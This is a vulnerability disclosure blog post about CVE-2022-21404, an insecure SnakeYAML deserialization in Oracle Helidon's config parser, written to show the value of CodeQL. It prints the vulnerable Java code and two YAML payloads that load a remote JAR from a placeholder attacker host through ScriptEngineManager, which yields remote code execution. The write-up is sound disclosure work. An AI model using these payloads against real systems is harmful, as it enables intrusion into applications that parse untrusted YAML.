CVE-2022-21404: Another story of developers fixing vulnerabilities unknowingly because of CodeQL
How CodeQL may help reduce false negatives within Open-Source projects. Taking a look into a deserialization vulnerability within Oracle Helidon (CVE-2022-21404).
Article originally written by Paulino Calderon.
I recently participated in a virtual community day where I briefly discussed how CodeQL and the GitHub Security Lab secure the open-source space. The following story came to my mind during this talk, but unfortunately, I did not have enough time to go into the details. This post aims not to point fingers at the developers but to highlight the effectiveness of CodeQL and share a PoC to abuse insecure loading of YAML files tested on the latest version of SnakeYAML.
CVE-2022-21404 was found during the log4j vulnerability chaos while I was looking into writing a CodeQL query to detect affected projects. I used both beta and the current version of GitHub Search to look for the different package names when I came across Oracle Helidon, a set of Java libraries for writing microservices as Java SE programs.
What caught my attention was a pull request with the title "Using SafeConstructor with YAML parsing."
The message “LGTM” in the second comment made me quickly check, and CodeQL confirmed a possible insecure deserialization issue. The un-patched function read as follows:
public ObjectNode parse(Content content) throws ConfigParserException {
Map yamlMap;
try (InputStreamReader reader = new InputStreamReader(content.data(), content.charset())) {
Yaml yaml = new Yaml();
yamlMap = yaml.loadAs(reader, Map.class);
if (yamlMap == null) { // empty source
return ObjectNode.empty();
}
return fromMap(yamlMap);
} catch (ConfigException e) {
throw e;
} catch (Exception e) {
throw new ConfigParserException("Cannot read from source: " + e.getLocalizedMessage(), e);
}
}
We see the InputStreamReader reader flowing into yaml.loadAs(reader, Map.class). Oracle Helidon uses SnakeYAML for YAML serialization, a library known to be affected by deserialization vulnerabilities if the safe version of the constructor is not used. And they believed that the safe version of the constructor was used implicitly, but I saw no indication of this behaviour when I reviewed the latest version of SnakeYAML. You need to use SafeConstructor, or it looks exploitable.
Now, it was time to prove it. I found an excellent post describing YAML deserialization and a technique to abuse the ScriptEngineManager to obtain Remote Code Execution from GitHub Security Lab. A String payload to load a remote class using this technique looks like this:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://<EVIL>\"]]]]\n
However, this payload would not work as they have restricted the class type to be Map.class (yaml.loadAs(reader, Map.class)). We need to create a malicious Map object that calls the ScriptEngineManager. The Map class is simply keys mapped to regular objects (https://docs.oracle.com/javase/8/docs/api/java/util/Map.html). Would a malicious object using the "key: value" format work?
42: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://<EVIL>/payload.jar\"]]]]\n
I grabbed the latest version of SnakeYAML (1.30 at the time) and wrote a simple PoC Java code to see if I could indeed execute arbitrary code:
This high-impact vulnerability did not affect the latest release only because they unknowingly fixed it to remove LGTM.com's "false positive" alerts. But the vulnerability was not fixed in all the branches, and users were not warned about this danger. Since obtaining Remote Code Execution is possible even when mapping to the class Map, Java applications developed with Oracle Helidon versions 0.9.x, 0.10.x, 0.11.x, 1.0.x, 1.1.x, 1.2.x, 1.3.x, 1.4.x, 2.0.0-M1, 2.0.0-M2, 2.0.0-M3, 2.0.0-M4 and 2.0.0-RC1 were still affected and exposed for exploitation.
After confirming the issue with Oracle and waiting for the patches, they addressed it on the Critical Patch Update Advisory - April 2022. If you are not sure your Oracle Helidon application is using the affected functionality, try this CodeQL query to find calls to the affected function UrlConfigSource.
What is the moral of the story? Trust your CodeQL alerts. Data flow analysis has proven very effective when reducing false-positive alerts, and queries are extensively reviewed by the team and the community before they get moved out of the experimental folder. If you see a CodeQL alert, never ignore it! Reach out to the GitHub Security Lab team or community if you need help determining whether an alert in your open source project is valid or not; I am sure someone will be happy to take a look :)
Disclosure Timeline
Jan 21 - Report sent
Mar 3 - Fixed in project
Apr 19 - Oracle sec advisory published
Additional information
Oracle Critical Patch Update Advisory: https://www.oracle.com/security-alerts/cpuapr2022.html
PoC: https://GitHub.com/cldrn/security-advisories/tree/main/CVE-2022-21404
Subscribe to our Newsletter
Get the latest cybersecurity insights and updates delivered to your inbox.